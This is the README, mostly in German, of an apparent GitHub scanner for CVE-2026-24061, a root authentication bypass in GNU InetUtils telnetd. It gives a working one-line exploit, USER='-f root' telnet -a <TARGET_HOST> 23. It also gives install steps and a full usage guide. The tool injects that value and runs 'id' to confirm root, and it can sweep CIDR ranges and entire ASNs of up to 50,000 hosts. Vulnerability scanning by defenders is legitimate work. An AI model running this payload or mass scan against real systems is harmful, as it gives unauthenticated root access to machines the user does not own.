madfxr/twenty-three-scannerCVE-2026-24061 - GNU InetUtils Telnetd Umgehung der Remote-Authentifizierung
Ein leistungsstarker, schneller und eleganter Scanner zur Erkennung verwundbarer Telnetd-Dienste, die von CVE-2026-24061 betroffen sind. Gebaut mit der reinen Python-Standardbibliothek – keine externen Abhängigkeiten erforderlich.
-A32D2A?style=for-the-badge){kind=icon}
CVE-2026-24061 ist eine kritische Authentifizierungs-Bypass-Schwachstelle in GNU InetUtils Telnetd, die nicht authentifizierten Remote-Angreifern Root-Zugriff ermöglicht, indem die Behandlung der NEW-ENVIRON-Option ausgenutzt wird.
Im Folgenden ist die Telnetd-Dienstkonfiguration auf der Zielhost-Seite dargestellt.
Und hier ist das Proof of Concept (PoC) für diese Schwachstelle, das manuell vom Host des Angreifers ausgeführt werden kann, indem einfach der Befehl USER="-f root" telnet -a <TARGET_HOST> 23 ausgeführt wird.
Die Schwachstelle nutzt eine unsachgemäße Validierung der USER-Umgebungsvariable in der Telnet-NEW-ENVIRON (RFC 1572)-Optionsaushandlung aus, wodurch Angreifer bösartige Werte wie -f root injizieren können, um die Authentifizierung zu umgehen.
9.8 (Kritisch) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
# Clone the Repository
cd /opt
sudo git clone https://github.com/madfxr/Twenty-Three-Scanner.git
cd Twenty-Three-Scanner
# Make Executable
sudo chmod +x twenty-three-scanner.py
# Run the Script
sudo python3 twenty-three-scanner.py -h
Im Folgenden finden Sie ein Handbuch für das Twenty-Three Scanner-Tool, mit dem die Schwachstelle CVE-2026-24061 - GNU InetUtils Telnetd Remote Authentication Bypass erkannt werden kann.
usage: python3 twenty-three-scanner.py [-h] [-t TARGET] [-f FILE] [-a ASN] [-p PORT] [--threads N] [--user-value VALUE] [--connect-timeout SEC] [--read-timeout SEC] [--id-timeout SEC]
[--max-hosts-per-cidr N] [--max-total-hosts N] [--skip-large-networks] [-o FILE] [-v]
CVE-2026-24061 - GNU InetUtils Telnetd Remote Authentication Bypass
options:
-h, --help show this help message and exit
Target Options:
-t TARGET, --target TARGET
target IP, CIDR, or comma-separated list (can be used multiple times)
-f FILE, --file FILE file containing targets (one per line, supports comments with #)
-a ASN, --asn ASN autonomous system number (e.g., AS10111 or 10111)
Scan Options:
-p PORT, --port PORT target port(s), comma-separated (default: 23)
--threads N number of concurrent threads (default: 50)
--user-value VALUE USER environment variable value for exploit (default: '-f root')
Timeout Options:
--connect-timeout SEC
TCP connection timeout in seconds (default: 3.0)
--read-timeout SEC socket read timeout in seconds (default: 2.0)
--id-timeout SEC 'id' command response timeout in seconds (default: 2.0)
Limit Options:
--max-hosts-per-cidr N
maximum hosts to scan per CIDR block (default: 1024)
--max-total-hosts N maximum total hosts across all targets (default: 50000)
--skip-large-networks
skip networks larger than /16 (avoids accidentally scanning huge ranges)
Output Options:
-o FILE, --output FILE
save vulnerable hosts to file (format: IP:PORT)
-v, --verbose enable verbose debug logging
Und hier sind einige Beispiele für die Verwendung des Befehls.
# Scan Single IP Address, and Single Port
sudo python3 twenty-three-scanner.py -t 10.0.0.23 -p 23
# Scan Single IP Address, and Multiple Ports
sudo python3 twenty-three-scanner.py -t 10.0.0.23 -p 23,2323
# Scan Multiple IP Addresses, and Single Port
sudo python3 twenty-three-scanner.py -t 10.0.0.23,10.0.23.23 -p 23
# Scan Multiple Addresses, and Multiple Ports
sudo python3 twenty-three-scanner.py -t 10.0.0.23,10.0.23.23 -p 23,2323
# Scan CIDR Range, and Single Port with Results
sudo python3 twenty-three-scanner.py -t 192.168.23.0/23 -p 23 -o results.txt
# Scan CIDR Range, and Multiple Ports with Results
sudo python3 twenty-three-scanner.py -t 192.168.23.0/23 -p 23,2323 -o results.txt
# Scan Single IP Address, Multiple Addresses, or CIDR Range from File, and Single Port with Custom Thread and Output
sudo python3 twenty-three-scanner.py -f targets.txt -p 23 --threads 100 -o output.txt
# Scan Single IP Address, Multiple IP Addresss, or CIDR Range from File, and Multiple Ports with Custom Threads and Output
sudo python3 twenty-three-scanner.py -f targets.txt -p 23,2323 --threads 100 -o output.txt
# Scan ASN and Single Port with Custom Threads
sudo python3 twenty-three-scanner.py -a 10111 -p 23 --threads 100
sudo python3 twenty-three-scanner.py -a AS10111 -p 23 --threads 100
# Scan ASN and Multiple Ports with Custom Threads
sudo python3 twenty-three-scanner.py -a 10111 -p 23,2323 --threads 100
sudo python3 twenty-three-scanner.py -a AS10111 -p 23,2323 --threads 100
# Scan ASN with Custom Limits and Custom Threads
sudo python3 twenty-three-scanner.py -a 10111 --max-hosts-per-cidr 2048 --threads 100
sudo python3 twenty-three-scanner.py -a AS10111 --max-hosts-per-cidr 2048 --threads 100
Scan einer einzelnen IP-Adresse mit mehreren Ports.
Scan mehrerer IP-Adressen mit einem einzelnen Port.
Scan eines CIDR-Bereichs mit einem einzelnen Port.
Scan einer ASN mit mehreren Ports.
Scan einer einzelnen IP-Adresse, mehrerer Adressen oder eines CIDR-Bereichs aus einer Datei sowie eines einzelnen Ports mit benutzerdefiniertem Thread und Ausgabe.
